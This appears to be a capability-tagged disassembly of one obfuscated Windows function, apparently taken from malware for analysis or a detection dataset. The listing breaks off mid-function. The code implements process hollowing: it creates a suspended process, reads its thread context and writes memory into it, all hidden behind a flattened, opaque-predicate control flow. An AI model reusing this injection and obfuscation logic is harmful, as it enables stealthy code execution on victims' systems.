Function at 0x10006e30
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x16c
mov eax, dword [0x10065c04]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x10066e88]
mov eax, dword [0x10066e84]
mov edx, ecx
add edx, 0xe2cdb435
sub edx, 1
sub edx, 0xe2cdb435
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x16e], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x16d], al
mov dword [ebp - 0x174], 0x9a3e508c
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0x178], eax
sub eax, 0x805b82e8
je 0x1000cd03
jmp 0x10006eab
mov eax, dword [ebp - 0x178]
sub eax, 0x8158c432
je 0x1000a4fe
jmp 0x10006ec1
mov eax, dword [ebp - 0x178]
sub eax, 0x834fb646
je 0x1000b394
jmp 0x10006ed7
mov eax, dword [ebp - 0x178]
sub eax, 0x83efe24b
je 0x10008858
jmp 0x10006eed
mov eax, dword [ebp - 0x178]
sub eax, 0x83f5a1bc
je 0x1000d456
jmp 0x10006f03
mov eax, dword [ebp - 0x178]
sub eax, 0x84519905
je 0x1000cda9
jmp 0x10006f19
mov eax, dword [ebp - 0x178]
sub eax, 0x84bac492
je 0x1000ae58
jmp 0x10006f2f
mov eax, dword [ebp - 0x178]
sub eax, 0x87db5695
je 0x10008dcb
jmp 0x10006f45
mov eax, dword [ebp - 0x178]
sub eax, 0x88177ea7
je 0x1000d13c
jmp 0x10006f5b
mov eax, dword [ebp - 0x178]
sub eax, 0x8866d817
je 0x1000b0ef
jmp 0x10006f71
mov eax, dword [ebp - 0x178]
sub eax, 0x88b93ac1
je 0x1000cde5
jmp 0x10006f87
mov eax, dword [ebp - 0x178]
sub eax, 0x8ad36265
je 0x10009106
jmp 0x10006f9d
mov eax, dword [ebp - 0x178]
sub eax, 0x8cff0d82
je 0x10009cf6
jmp 0x10006fb3
mov eax, dword [ebp - 0x178]
sub eax, 0x8d424045
je 0x1000b4f9
jmp 0x10006fc9
mov eax, dword [ebp - 0x178]
sub eax, 0x8e427042
je 0x1000b76b
jmp 0x10006fdf
mov eax, dword [ebp - 0x178]
sub eax, 0x8e5c899e
je 0x10009ff9
jmp 0x10006ff5
mov eax, dword [ebp - 0x178]
sub eax, 0x8f1c296e
je 0x1000b5cf
jmp 0x1000700b
mov eax, dword [ebp - 0x178]
sub eax, 0x90c34124
je 0x1000c118
jmp 0x10007021
mov eax, dword [ebp - 0x178]
sub eax, 0x90e4cc8c
je 0x1000cf6f
jmp 0x10007037
mov eax, dword [ebp - 0x178]
sub eax, 0x90f706e8
je 0x1000bc6e
jmp 0x1000704d
mov eax, dword [ebp - 0x178]
sub eax, 0x912473e6
je 0x1000bef0
jmp 0x10007063
mov eax, dword [ebp - 0x178]
sub eax, 0x944cf4cc
je 0x1000a839
jmp 0x10007079
mov eax, dword [ebp - 0x178]
sub eax, 0x954299de
je 0x1000c96d
jmp 0x1000708f
mov eax, dword [ebp - 0x178]
sub eax, 0x955c953e
je 0x1000d4ed
jmp 0x100070a5
mov eax, dword [ebp - 0x178]
sub eax, 0x963ad897
je 0x1000ad8e
jmp 0x100070bb
mov eax, dword [ebp - 0x178]
sub eax, 0x964a8214
je 0x1000b6de
jmp 0x100070d1
mov eax, dword [ebp - 0x178]
sub eax, 0x972972b8
je 0x1000a477
jmp 0x100070e7
mov eax, dword [ebp - 0x178]
sub eax, 0x972ea466
je 0x1000abc0
jmp 0x100070fd
mov eax, dword [ebp - 0x178]
sub eax, 0x995ab6ba
je 0x1000cc35
jmp 0x10007113
mov eax, dword [ebp - 0x178]
sub eax, 0x99cef97e
je 0x100097e9
jmp 0x10007129
mov eax, dword [ebp - 0x178]
sub eax, 0x9a3e508c
je 0x10008786
jmp 0x1000713f
mov eax, dword [ebp - 0x178]
sub eax, 0x9d469fdf
je 0x1000a35c
jmp 0x10007155
mov eax, dword [ebp - 0x178]
sub eax, 0x9dde469e
je 0x1000d30d
jmp 0x1000716b
mov eax, dword [ebp - 0x178]
sub eax, 0x9df9f23e
je 0x10009583
jmp 0x10007181
mov eax, dword [ebp - 0x178]
sub eax, 0x9dfce28b
je 0x1000cc05
jmp 0x10007197
mov eax, dword [ebp - 0x178]
sub eax, 0x9e23b659
je 0x1000d797
jmp 0x100071ad
mov eax, dword [ebp - 0x178]
sub eax, 0x9e2c1a59
je 0x1000abb1
jmp 0x100071c3
mov eax, dword [ebp - 0x178]
sub eax, 0x9e8b0fef
je 0x1000d52f
jmp 0x100071d9
mov eax, dword [ebp - 0x178]
sub eax, 0x9ed614b9
je 0x10009b89
jmp 0x100071ef
mov eax, dword [ebp - 0x178]
sub eax, 0x9f6ea6e1
je 0x10009bfb
jmp 0x10007205
mov eax, dword [ebp - 0x178]
sub eax, 0x9f81eb40
je 0x1000d2d1
jmp 0x1000721b
mov eax, dword [ebp - 0x178]
sub eax, 0xa136f61e
je 0x1000948e
jmp 0x10007231
mov eax, dword [ebp - 0x178]
sub eax, 0xa1c57435
je 0x1000bb6b
jmp 0x10007247
mov eax, dword [ebp - 0x178]
sub eax, 0xa40b137e
je 0x100093b8
jmp 0x1000725d
mov eax, dword [ebp - 0x178]
sub eax, 0xa40dd88c
je 0x10008d0f
jmp 0x10007273
mov eax, dword [ebp - 0x178]
sub eax, 0xa44e1d0e
je 0x1000cee4
jmp 0x10007289
mov eax, dword [ebp - 0x178]
sub eax, 0xa47fd967
je 0x10008894
jmp 0x1000729f
mov eax, dword [ebp - 0x178]
sub eax, 0xa4f37f29
je 0x1000c07d
jmp 0x100072b5
mov eax, dword [ebp - 0x178]
sub eax, 0xa52bd331
je 0x1000c0be
jmp 0x100072cb
mov eax, dword [ebp - 0x178]
sub eax, 0xa5366c47
je 0x1000c9e3
jmp 0x100072e1
mov eax, dword [ebp - 0x178]
sub eax, 0xa5c67b23
je 0x1000af5b
jmp 0x100072f7
mov eax, dword [ebp - 0x178]
sub eax, 0xa7834d93
je 0x1000ad61
jmp 0x1000730d
mov eax, dword [ebp - 0x178]
sub eax, 0xa90365cf
je 0x10008cbe
jmp 0x10007323
mov eax, dword [ebp - 0x178]
sub eax, 0xa9457079
je 0x1000ce00
jmp 0x10007339
mov eax, dword [ebp - 0x178]
sub eax, 0xa94c2196
je 0x1000d636
jmp 0x1000734f
mov eax, dword [ebp - 0x178]
sub eax, 0xa96f6809
je 0x1000d514
jmp 0x10007365
mov eax, dword [ebp - 0x178]
sub eax, 0xac337294
je 0x1000cbb4
jmp 0x1000737b
mov eax, dword [ebp - 0x178]
sub eax, 0xadf70ba2
je 0x1000a882
jmp 0x10007391
mov eax, dword [ebp - 0x178]
sub eax, 0xae955e49
je 0x1000ac87
jmp 0x100073a7
mov eax, dword [ebp - 0x178]
sub eax, 0xaeb14a6f
je 0x10009191
jmp 0x100073bd
mov eax, dword [ebp - 0x178]
sub eax, 0xaf7f422f
je 0x1000b57e
jmp 0x100073d3
mov eax, dword [ebp - 0x178]
sub eax, 0xaf9c5292
je 0x1000afc4
jmp 0x100073e9
mov eax, dword [ebp - 0x178]
sub eax, 0xb084d1c9
je 0x1000d165
jmp 0x100073ff
mov eax, dword [ebp - 0x178]
sub eax, 0xb09163b4
je 0x10008aee
jmp 0x10007415
mov eax, dword [ebp - 0x178]
sub eax, 0xb0a36411
je 0x1000d2c2
mov al, byte [ebp - 0x16e]
mov cl, byte [ebp - 0x16d]
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x995ab6ba
mov ecx, 0x59fe9f42
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000d86e
push eax
mov eax, esp
mov dword [ebp - 0x150], eax
push eax
mov eax, esp
mov dword [ebp - 0x14c], eax
push eax
mov eax, esp
mov dword [ebp - 0x148], eax
push eax
mov eax, esp
mov dword [ebp - 0x144], eax
push eax
mov eax, esp
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x174], 0xa47fd967
jmp 0x1000d86e
push eax
mov eax, esp
mov dword [ebp - 0x13c], eax
push eax
mov eax, esp
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x174], 0x1694e50d
jmp 0x1000d86e
mov eax, dword [ebp - 0x164]
mov ecx, dword [ebp - 0xf4]
mov dword [eax], ecx
mov dword [ebp - 0x174], 0x4412a05
jmp 0x1000d86e
mov eax, dword [0x10066e88]
mov ecx, dword [0x10066e84]
mov edx, eax
add edx, 0xa388e774
sub edx, 1
sub edx, 0xa388e774
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc5a41f29
mov ecx, 0xa40dd88c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000d86e
mov eax, dword [0x10066e88]
mov ecx, dword [0x10066e84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc5a41f29
mov ecx, 0x4a77ed9f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000d86e
mov eax, dword [ebp - 0x160]
mov eax, dword [eax]
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0x174], 0xd40ec1b6
jmp 0x1000d86e
mov eax, dword [ebp - 0xe4]
cmp dword [eax + 0x70], 0
setne al
and al, 1
mov byte [ebp - 0xdf], al
mov ecx, dword [0x10066e88]
mov eax, dword [0x10066e84]
mov edx, ecx
add edx, 0x2c818a6a
sub edx, 1
sub edx, 0x2c818a6a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x489a9f13
mov ecx, 0xaeb14a6f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000d86e
mov dword [ebp - 0x174], 0xe67a1539
jmp 0x1000d86e
mov eax, dword [0x10066e88]
mov ecx, dword [0x10066e84]
mov edx, eax
add edx, 0xd2c9d0f2
sub edx, 1
sub edx, 0xd2c9d0f2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb0a36411
mov ecx, 0xf6f65f49
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000d86e
mov eax, dword [ebp - 0x150]
mov edx, dword [eax]
mov eax, dword [ebp - 0x15c]
mov ecx, dword [ebp - 0x158]
xor esi, esi
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xdd], al
mov dword [ebp - 0x174], 0x2919529
jmp 0x1000d86e
mov eax, dword [0x10066e88]
mov ecx, dword [0x10066e84]
mov edx, eax
sub edx, 0x7484bb6f
sub edx, 1
add edx, 0x7484bb6f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9f81eb40
mov ecx, 0xf78d30cf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000d86e
mov eax, dword [ebp - 0x15c]
mov ecx, dword [eax + 4]
mov eax, dword [ebp - 0xdc]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtGetContextThread
cmp eax, 0
setge al
and al, 1
mov byte [ebp - 0xd5], al
mov eax, dword [0x10066e88]
mov ecx, dword [0x10066e84]
mov edx, eax
add edx, 0x12b8d377
sub edx, 1
sub edx, 0x12b8d377
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe6b89e5c
mov ecx, 0xe0be376f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000d86e
mov eax, dword [ebp - 0x134]
mov eax, dword [eax]
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x164]
mov eax, dword [eax]
mov ax, word [eax + 6]
mov word [ebp - 0xc2], ax
mov eax, dword [0x10066e88]
mov ecx, dword [0x10066e84]
mov edx, eax
add edx, 0xa6034c4d
sub edx, 1
sub edx, 0xa6034c4d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x88b93ac1
mov ecx, 0x9f6ea6e1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000d86e
mov ecx, dword [0x10066e88]
mov eax, dword [0x10066e84]
mov edx, ecx
add edx, 0x1a52773a
sub edx, 1
sub edx, 0x1a52773a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x440ecb8f
mov ecx, 0xd862f684
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000d86e
mov ax, word [ebp - 0xc2]
movzx esi, ax
mov edx, dword [ebp - 0xc8]
mov eax, 0x4f574b81
mov ecx, 0xc1320fff
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000d86e
mov eax, dword [0x10066e88]
mov ecx, dword [0x10066e84]
mov edx, eax
sub edx, 0x42e02df2
sub edx, 1
add edx, 0x42e02df2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdd78c0da
mov ecx, 0xcd393c2c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000d86e
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0x164]
mov eax, dword [eax]
movzx eax, word [eax + 6]
mov dword [ebp - 0xa4], eax
mov ecx, dword [0x10066e88]
mov eax, dword [0x10066e84]
mov edx, ecx
add edx, 0x2887c289
sub edx, 1
sub edx, 0x2887c289
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe27a0e75
mov ecx, 0x6c430975
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000d86e
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0xa4]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x9d], al
mov ecx, dword [0x10066e88]
mov eax, dword [0x10066e84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3ac54e54
mov ecx, 0x8158c432
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000d86e
mov dl, byte [ebp - 0x9d]
mov eax, 0x2bcf14c5
mov ecx, 0x197e63e0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000d86e
mov eax, dword [0x10066e88]
mov ecx, dword [0x10066e84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfe9b9c84
mov ecx, 0xadf70ba2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000d86e
mov eax, dword [0x10066e88]
mov ecx, dword [0x10066e84]
mov edx, eax
add edx, 0xd8b33b97
sub edx, 1
sub edx, 0xd8b33b97
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfe9b9c84
mov ecx, 0x77daea9a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000d86e
mov dword [ebp - 0x174], 0x972ea466
jmp 0x1000d86e
mov eax, dword [0x10066e88]
mov ecx, dword [0x10066e84]
mov edx, eax
add edx, 0x4bb8491b
sub edx, 1
sub edx, 0x4bb8491b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf935ba57
mov ecx, 0x362306b8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000d86e
mov eax, dword [ebp - 0x74]
mov ecx, dword [eax + 0x1c]
mov eax, dword [ebp - 0x78]
cmp eax, ecx
setne al
and al, 1
mov byte [ebp - 0x6d], al
mov ecx, dword [0x10066e88]
mov eax, dword [0x10066e84]
mov edx, ecx
sub edx, 0x80dd8917
sub edx, 1
add edx, 0x80dd8917
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe05e193b
mov ecx, 0xecfb3aad
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000d86e
mov dl, byte [ebp - 0x6d]
mov eax, 0xbcfd2ee9
mov ecx, 0x39a0a0d2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000d86e
mov ecx, dword [0x10066e88]
mov eax, dword [0x10066e84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfce473bd
mov ecx, 0xb5ae663e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000d86e
mov dword [ebp - 0x174], 0xe768715a
jmp 0x1000d86e
mov eax, dword [ebp - 0x130]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 8
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x120]
mov dword [eax], ecx
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
sub ecx, 0xeded2831
sub ecx, 8
add ecx, 0xeded2831
shr ecx, 1
mov eax, dword [ebp - 0x11c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x164]
mov eax, dword [eax]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x174], 0xaf9c5292
jmp 0x1000d86e
mov eax, dword [0x10066e88]
mov ecx, dword [0x10066e84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x22f0b491
mov ecx, 0xb1db0976
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000d86e
mov ecx, dword [0x10066e88]
mov eax, dword [0x10066e84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x22f0b491
mov ecx, 0x6591f573
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000d86e
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov dword [ebp - 0x5c], eax
mov ecx, dword [0x10066e88]
mov eax, dword [0x10066e84]
mov edx, ecx
sub edx, 0x902660a4
sub edx, 1
add edx, 0x902660a4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc4157d36
mov ecx, 0x6229b4b8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000d86e
mov ecx, dword [0x10066e88]
mov eax, dword [0x10066e84]
mov edx, ecx
sub edx, 0xfeb3a6ec
sub edx, 1
add edx, 0xfeb3a6ec
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x955c953e
mov ecx, 0x6b94ed7e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000d86e
mov eax, dword [0x10066e88]
mov ecx, dword [0x10066e84]
mov edx, eax
add edx, 0x14fffa77
sub edx, 1
sub edx, 0x14fffa77
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5d022d14
mov ecx, 0x8f1c296e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000d86e
mov eax, dword [ebp - 0x11c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x5c]
cmp eax, ecx
setb al
and al, 1
mov byte [ebp - 0x55], al
mov ecx, dword [0x10066e88]
mov eax, dword [0x10066e84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5d022d14
mov ecx, 0xfa74c871
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000d86e
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x114]
mov ecx, dword [ecx]
movzx eax, word [eax + ecx*2]
mov dword [ebp - 0x54], eax
mov ecx, dword [0x10066e88]
mov eax, dword [0x10066e84]
mov edx, ecx
add edx, 0x2c0c64d8
sub edx, 1
sub edx, 0x2c0c64d8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa96f6809
mov ecx, 0x8e427042
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000d86e
mov dword [ebp - 0x174], 0xfe6b6311
jmp 0x1000d86e
mov dword [ebp - 0x174], 0xf2527f64
jmp 0x1000d86e
mov dword [ebp - 0x174], 0x6254369e
jmp 0x1000d86e
mov dword [ebp - 0x174], 0x963ad897
jmp 0x1000d86e
mov dword [ebp - 0x174], 0xbcfd2ee9
jmp 0x1000d86e
mov eax, dword [ebp - 0x34]
mov edx, dword [eax]
mov eax, dword [ebp - 0x148]
mov ecx, dword [ebp - 0x38]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x164]
mov edx, dword [eax]
mov eax, 0xe089008d
mov ecx, 0x90c34124
cmp dword [edx + 0xc4], 0
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000d86e
mov ecx, dword [0x10066e88]
mov eax, dword [0x10066e84]
mov edx, ecx
sub edx, 0x3df06feb
sub edx, 1
add edx, 0x3df06feb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3174340b
mov ecx, 0x73df4c5c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000d86e
mov ecx, dword [0x10066e88]
mov eax, dword [0x10066e84]
mov edx, ecx
add edx, 0x75dd119c
sub edx, 1
sub edx, 0x75dd119c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7abf300b
mov ecx, 0xa5366c47
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000d86e
mov ecx, dword [0x10066e88]
mov eax, dword [0x10066e84]
mov edx, ecx
add edx, 0x4e245f34
sub edx, 1
sub edx, 0x4e245f34
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7abf300b
mov ecx, 0x2f855ade
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000d86e
mov eax, dword [0x10066e88]
mov ecx, dword [0x10066e84]
mov edx, eax
sub edx, 0xcb4c0f54
sub edx, 1
add edx, 0xcb4c0f54
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2d531f5b
mov ecx, 0x9dfce28b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000d86e
mov dword [ebp - 0x174], 0x54a7f156
jmp 0x1000d86e
mov ecx, dword [0x10066e88]
mov eax, dword [0x10066e84]
mov edx, ecx
sub edx, 0xbff226a3
sub edx, 1
add edx, 0xbff226a3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3e071808
